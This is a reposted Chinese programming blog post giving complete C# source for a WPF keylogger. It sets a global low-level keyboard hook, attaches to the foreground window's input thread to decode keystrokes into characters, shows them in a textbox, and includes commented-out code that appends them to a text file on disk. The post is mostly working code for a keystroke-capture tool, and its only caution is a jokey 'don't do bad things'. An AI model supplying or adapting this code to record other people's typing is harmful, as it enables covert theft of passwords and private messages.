wpf键盘记录器

很简单的一个wpf键盘记录器

这个程序我一样用了全局勾子,之前用的都是winform上运行了,前一段时间

在国外的论坛上逛看到了一个wpf能用的就做了一个小程序记录一下,为了方便大家直关的看我在页面上放了一个textbox,

用的时候不会这样一般都是保存到一个文本里呵呵不能做坏事

有三个主要的类

/// <summary>
   /// Raw keyevent handler.
   /// </summary>
   /// <param name="sender">sender</param>
   /// <param name="args">raw keyevent arguments</param>
   public  delegate  void  RawKeyEventHandler( object  sender, RawKeyEventArgs args);
 
   #region WINAPI Helper class
 
   /// <summary>
   /// Winapi Key interception helper class.
   /// </summary>
   internal  static  class  InterceptKeys
   {
       public  delegate  IntPtr LowLevelKeyboardProc( int  nCode, UIntPtr wParam, IntPtr lParam);
       public  static  int  WH_KEYBOARD_LL = 13;
 
       /// <summary>
       /// Key event
       /// </summary>
       public  enum  KeyEvent : int
       {
           /// <summary>
           /// Key down
           /// </summary>
           WM_KEYDOWN = 256,
 
           /// <summary>
           /// Key up
           /// </summary>
           WM_KEYUP = 257,
 
           /// <summary>
           /// System key up
           /// </summary>
           WM_SYSKEYUP = 261,
 
           /// <summary>
           /// System key down
           /// </summary>
           WM_SYSKEYDOWN = 260
       }
 
       public  static  IntPtr SetHook(LowLevelKeyboardProc proc)
       {
           using  (Process curProcess = Process.GetCurrentProcess())
           using  (ProcessModule curModule = curProcess.MainModule)
           {
               return  SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
           }
       }
 
       [DllImport( "user32.dll" , CharSet = CharSet.Auto, SetLastError = true )]
       public  static  extern  IntPtr SetWindowsHookEx( int  idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint  dwThreadId);
 
       [DllImport( "user32.dll" , CharSet = CharSet.Auto, SetLastError = true )]
       [ return : MarshalAs(UnmanagedType.Bool)]
       public  static  extern  bool  UnhookWindowsHookEx(IntPtr hhk);
 
       [DllImport( "user32.dll" , CharSet = CharSet.Auto, SetLastError = true )]
       public  static  extern  IntPtr CallNextHookEx(IntPtr hhk, int  nCode, UIntPtr wParam, IntPtr lParam);
 
       [DllImport( "kernel32.dll" , CharSet = CharSet.Auto, SetLastError = true )]
       public  static  extern  IntPtr GetModuleHandle( string  lpModuleName);
 
       #region Convert VKCode to string
 
       // Note: Sometimes single VKCode represents multiple chars, thus string.
       // E.g. typing "^1" (notice that when pressing 1 the both characters appear,
       // because of this behavior, "^" is called dead key)
 
       [DllImport( "user32.dll" )]
       private  static  extern  int  ToUnicodeEx( uint  wVirtKey, uint  wScanCode, byte [] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] System.Text.StringBuilder pwszBuff, int  cchBuff, uint  wFlags, IntPtr dwhkl);
 
       [DllImport( "user32.dll" )]
       private  static  extern  bool  GetKeyboardState( byte [] lpKeyState);
 
       [DllImport( "user32.dll" )]
       private  static  extern  uint  MapVirtualKeyEx( uint  uCode, uint  uMapType, IntPtr dwhkl);
 
       [DllImport( "user32.dll" , CharSet = CharSet.Auto, ExactSpelling = true )]
       private  static  extern  IntPtr GetKeyboardLayout( uint  dwLayout);
 
       [DllImport( "User32.dll" )]
       private  static  extern  IntPtr GetForegroundWindow();
 
       [DllImport( "User32.dll" )]
       private  static  extern  uint  GetWindowThreadProcessId(IntPtr hWnd, out  uint  lpdwProcessId);
 
       [DllImport( "user32.dll" )]
       private  static  extern  bool  AttachThreadInput( uint  idAttach, uint  idAttachTo, bool  fAttach);
 
       [DllImport( "kernel32.dll" )]
       private  static  extern  uint  GetCurrentThreadId();
 
       private  static  uint  lastVKCode = 0;
       private  static  uint  lastScanCode = 0;
       private  static  byte [] lastKeyState = new  byte [255];
       private  static  bool  lastIsDead = false ;
 
       /// <summary>
       /// Convert VKCode to Unicode.
       /// <remarks>isKeyDown is required for because of keyboard state inconsistencies!</remarks>
       /// </summary>
       /// <param name="VKCode">VKCode</param>
       /// <param name="isKeyDown">Is the key down event?</param>
       /// <returns>String representing single unicode character.</returns>
       public  static  string  VKCodeToString( uint  VKCode, bool  isKeyDown)
       {
           // ToUnicodeEx needs StringBuilder, it populates that during execution.
           System.Text.StringBuilder sbString = new  System.Text.StringBuilder(5);
 
           byte [] bKeyState = new  byte [255];
           bool  bKeyStateStatus;
           bool  isDead = false ;
 
           // Gets the current windows window handle, threadID, processID
           IntPtr currentHWnd = GetForegroundWindow();
           uint  currentProcessID;
           uint  currentWindowThreadID = GetWindowThreadProcessId(currentHWnd, out  currentProcessID);
 
           // This programs Thread ID
           uint  thisProgramThreadId = GetCurrentThreadId();
 
           // Attach to active thread so we can get that keyboard state
           if  (AttachThreadInput(thisProgramThreadId, currentWindowThreadID, true ))
           {
               // Current state of the modifiers in keyboard
               bKeyStateStatus = GetKeyboardState(bKeyState);
 
               // Detach
               AttachThreadInput(thisProgramThreadId, currentWindowThreadID, false );
           }
           else
           {
               // Could not attach, perhaps it is this process?
               bKeyStateStatus = GetKeyboardState(bKeyState);
           }
 
           // On failure we return empty string.
           if  (!bKeyStateStatus)
               return  "" ;
 
           // Gets the layout of keyboard
           IntPtr HKL = GetKeyboardLayout(currentWindowThreadID);
 
           // Maps the virtual keycode
           uint  lScanCode = MapVirtualKeyEx(VKCode, 0, HKL);
 
           // Keyboard state goes inconsistent if this is not in place. In other words, we need to call above commands in UP events also.
           if  (!isKeyDown)
               return  "" ;
 
           // Converts the VKCode to unicode
           int  relevantKeyCountInBuffer = ToUnicodeEx(VKCode, lScanCode, bKeyState, sbString, sbString.Capacity, ( uint )0, HKL);
 
           string  ret = "" ;
 
           switch  (relevantKeyCountInBuffer)
           {
               // Dead keys (^,`...)
               case  -1:
                   isDead = true ;
 
                   // We must clear the buffer because ToUnicodeEx messed it up, see below.
                   ClearKeyboardBuffer(VKCode, lScanCode, HKL);
                   break ;
 
               case  0:
                   break ;
 
               // Single character in buffer
               case  1:
                   ret = sbString[0].ToString();
                   break ;
 
               // Two or more (only two of them is relevant)
               case  2:
               default :
                   ret = sbString.ToString().Substring(0, 2);
                   break ;
           }
 
           // We inject the last dead key back, since ToUnicodeEx removed it.
           // More about this peculiar behavior see e.g:
           //   http://www.experts-exchange.com/Programming/System/Windows__Programming/Q_23453780.html
           //   http://blogs.msdn.com/michkap/archive/2005/01/19/355870.aspx
           //   http://blogs.msdn.com/michkap/archive/2007/10/27/5717859.aspx
           if  (lastVKCode != 0 && lastIsDead)
           {
               System.Text.StringBuilder sbTemp = new  System.Text.StringBuilder(5);
               ToUnicodeEx(lastVKCode, lastScanCode, lastKeyState, sbTemp, sbTemp.Capacity, ( uint )0, HKL);
               lastVKCode = 0;
 
               return  ret;
           }
 
           // Save these
           lastScanCode = lScanCode;
           lastVKCode = VKCode;
           lastIsDead = isDead;
           lastKeyState = ( byte [])bKeyState.Clone();
 
           return  ret;
       }
 
       private  static  void  ClearKeyboardBuffer( uint  vk, uint  sc, IntPtr hkl)
       {
           System.Text.StringBuilder sb = new  System.Text.StringBuilder(10);
 
           int  rc;
           do
           {
               byte [] lpKeyStateNull = new  Byte[255];
               rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl);
           } while  (rc < 0);
       }
 
       #endregion Convert VKCode to string
   }
 
   #endregion WINAPI Helper class

 

public  class  KeyboardListener : IDisposable
     {
         /// <summary>
         /// Creates global keyboard listener.
         /// </summary>
         public  KeyboardListener()
         {
             // Dispatcher thread handling the KeyDown/KeyUp events.
             this .dispatcher = Dispatcher.CurrentDispatcher;
 
             // We have to store the LowLevelKeyboardProc, so that it is not garbage collected runtime
             hookedLowLevelKeyboardProc = (InterceptKeys.LowLevelKeyboardProc)LowLevelKeyboardProc;
 
             // Set the hook
             hookId = InterceptKeys.SetHook(hookedLowLevelKeyboardProc);
 
             // Assign the asynchronous callback event
             hookedKeyboardCallbackAsync = new  KeyboardCallbackAsync(KeyboardListener_KeyboardCallbackAsync);
         }
 
         private  Dispatcher dispatcher;
 
         /// <summary>
         /// Destroys global keyboard listener.
         /// </summary>
         ~KeyboardListener()
         {
             Dispose();
         }
 
         /// <summary>
         /// Fired when any of the keys is pressed down.
         /// </summary>
         public  event  RawKeyEventHandler KeyDown;
 
         /// <summary>
         /// Fired when any of the keys is released.
         /// </summary>
         public  event  RawKeyEventHandler KeyUp;
 
         #region Inner workings
 
         /// <summary>
         /// Hook ID
         /// </summary>
         private  IntPtr hookId = IntPtr.Zero;
 
         /// <summary>
         /// Asynchronous callback hook.
         /// </summary>
         /// <param name="character">Character</param>
         /// <param name="keyEvent">Keyboard event</param>
         /// <param name="vkCode">VKCode</param>
         private  delegate  void  KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int  vkCode, string  character);
 
         /// <summary>
         /// Actual callback hook.
         ///
         /// <remarks>Calls asynchronously the asyncCallback.</remarks>
         /// </summary>
         /// <param name="nCode"></param>
         /// <param name="wParam"></param>
         /// <param name="lParam"></param>
         /// <returns></returns>
         [MethodImpl(MethodImplOptions.NoInlining)]
         private  IntPtr LowLevelKeyboardProc( int  nCode, UIntPtr wParam, IntPtr lParam)
         {
             string  chars = "" ;
 
             if  (nCode >= 0)
                 if  (wParam.ToUInt32() == ( int )InterceptKeys.KeyEvent.WM_KEYDOWN ||
                     wParam.ToUInt32() == ( int )InterceptKeys.KeyEvent.WM_KEYUP ||
                     wParam.ToUInt32() == ( int )InterceptKeys.KeyEvent.WM_SYSKEYDOWN ||
                     wParam.ToUInt32() == ( int )InterceptKeys.KeyEvent.WM_SYSKEYUP)
                 {
                     // Captures the character(s) pressed only on WM_KEYDOWN
                     chars = InterceptKeys.VKCodeToString(( uint )Marshal.ReadInt32(lParam),
                         (wParam.ToUInt32() == ( int )InterceptKeys.KeyEvent.WM_KEYDOWN ||
                         wParam.ToUInt32() == ( int )InterceptKeys.KeyEvent.WM_SYSKEYDOWN));
 
                     hookedKeyboardCallbackAsync.BeginInvoke((InterceptKeys.KeyEvent)wParam.ToUInt32(), Marshal.ReadInt32(lParam), chars, null , null );
                 }
 
             return  InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam);
         }
 
         /// <summary>
         /// Event to be invoked asynchronously (BeginInvoke) each time key is pressed.
         /// </summary>
         private  KeyboardCallbackAsync hookedKeyboardCallbackAsync;
 
         /// <summary>
         /// Contains the hooked callback in runtime.
         /// </summary>
         private  InterceptKeys.LowLevelKeyboardProc hookedLowLevelKeyboardProc;
 
         /// <summary>
         /// HookCallbackAsync procedure that calls accordingly the KeyDown or KeyUp events.
         /// </summary>
         /// <param name="keyEvent">Keyboard event</param>
         /// <param name="vkCode">VKCode</param>
         /// <param name="character">Character as string.</param>
         private  void  KeyboardListener_KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int  vkCode, string  character)
         {
             switch  (keyEvent)
             {
                 // KeyDown events
                 case  InterceptKeys.KeyEvent.WM_KEYDOWN:
                     if  (KeyDown != null )
                         dispatcher.BeginInvoke( new  RawKeyEventHandler(KeyDown), this , new  RawKeyEventArgs(vkCode, false , character));
                     break ;
                 case  InterceptKeys.KeyEvent.WM_SYSKEYDOWN:
                     if  (KeyDown != null )
                         dispatcher.BeginInvoke( new  RawKeyEventHandler(KeyDown), this , new  RawKeyEventArgs(vkCode, true , character));
                     break ;
 
                 // KeyUp events
                 case  InterceptKeys.KeyEvent.WM_KEYUP:
                     if  (KeyUp != null )
                         dispatcher.BeginInvoke( new  RawKeyEventHandler(KeyUp), this , new  RawKeyEventArgs(vkCode, false , character));
                     break ;
                 case  InterceptKeys.KeyEvent.WM_SYSKEYUP:
                     if  (KeyUp != null )
                         dispatcher.BeginInvoke( new  RawKeyEventHandler(KeyUp), this , new  RawKeyEventArgs(vkCode, true , character));
                     break ;
 
                 default :
                     break ;
             }
         }
 
         #endregion Inner workings
 
         #region IDisposable Members
 
         /// <summary>
         /// Disposes the hook.
         /// <remarks>This call is required as it calls the UnhookWindowsHookEx.</remarks>
         /// </summary>
         public  void  Dispose()
         {
             InterceptKeys.UnhookWindowsHookEx(hookId);
         }
 
         #endregion IDisposable Members
     }

 

/// <summary>
    /// Raw KeyEvent arguments.
    /// </summary>
    public  class  RawKeyEventArgs : EventArgs
    {
        /// <summary>
        /// VKCode of the key.
        /// </summary>
        public  int  VKCode;
 
        /// <summary>
        /// WPF Key of the key.
        /// </summary>
        public  Key Key;
 
        /// <summary>
        /// Is the hitted key system key.
        /// </summary>
        public  bool  IsSysKey;
 
        /// <summary>
        /// Convert to string.
        /// </summary>
        /// <returns>Returns string representation of this key, if not possible empty string is returned.</returns>
        public  override  string  ToString()
        {
            return  Character;
        }
 
        /// <summary>
        /// Unicode character of key pressed.
        /// </summary>
        public  string  Character;
 
        /// <summary>
        /// Create raw keyevent arguments.
        /// </summary>
        /// <param name="VKCode"></param>
        /// <param name="isSysKey"></param>
        /// <param name="Character">Character</param>
        public  RawKeyEventArgs( int  VKCode, bool  isSysKey, string  Character)
        {
            this .VKCode = VKCode;
            this .IsSysKey = isSysKey;
            this .Character = Character;
            this .Key = System.Windows.Input.KeyInterop.KeyFromVirtualKey(VKCode);
        }
    }

 

codebehind

KeyboardListener _KeyListener = new  KeyboardListener();
      bool  _isRuning = false ;
      public  MainWindow()
      {
          InitializeComponent();
          this .Loaded += Window_Loaded;
      }
 
      public  void  BeginListen( object  sender, RoutedEventArgs e)
      {
          _isRuning = true ;
      }
      public  void  StopListen( object  sender, RoutedEventArgs e)
      {
          _isRuning = false ;
      }
 
      private  void  Window_Loaded( object  sender, RoutedEventArgs e)
      {
          _KeyListener.KeyDown += new  RawKeyEventHandler(KListener_KeyDown);
      }
      StringBuilder _sb = new  StringBuilder();
      private  void  KListener_KeyDown( object  sender, RawKeyEventArgs args)
      {
          if  (!_isRuning) return ;
          tb_keyText.Text += args.ToString();
          //if (args.Key == Key.Enter)
          //{
          //    Write(_sb.ToString());
          //    _sb.Clear();
          //}
          //else
          //{
          //    _sb.Append(args.ToString());
          //}
          //Console.WriteLine(args.ToString());
      }
 
      private  void  Write( string  keyEvents)
      {
          try
          {
              StreamWriter sw = new  StreamWriter( "D:/keyReport.txt" , true );
              sw.WriteLine(keyEvents);
              sw.Close();
 
          }
          catch  (Exception Exception)
          {
          }
      }
      private  void  Window_Closing( object  sender, System.ComponentModel.CancelEventArgs e)
      {
          _KeyListener.Dispose();
      }

 本文转自lpxxn博客园博客,原文链接:http://www.cnblogs.com/li-peng/p/3328454.html,如需转载请自行联系原作者

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值